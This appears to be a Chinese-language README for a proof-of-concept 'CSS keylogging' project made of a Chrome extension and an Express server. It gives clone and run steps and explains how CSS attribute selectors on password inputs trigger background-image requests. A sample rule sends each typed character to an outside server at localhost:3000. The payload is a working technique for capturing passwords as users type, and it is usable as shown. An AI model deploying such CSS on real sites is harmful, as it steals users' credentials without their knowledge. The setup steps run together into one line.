利用 CSS 键盘记录功能的 Chrome 扩展和 Express 服务器。
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions(或点击 Chrome 菜单最右侧的三横图标,选择“更多工具”下的“扩展程序”)。css-keylogger-extension 文件夹。yarnyarn startC。这个攻击非常简单。利用 CSS 属性选择器,可以在加载 background-image 的伪装下,向外部服务器请求资源。
例如,以下 CSS 会选择所有 type 等于 password 且 value 以 a 结尾的 input 元素,然后尝试从 http://localhost:3000/a 加载一张图片。
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}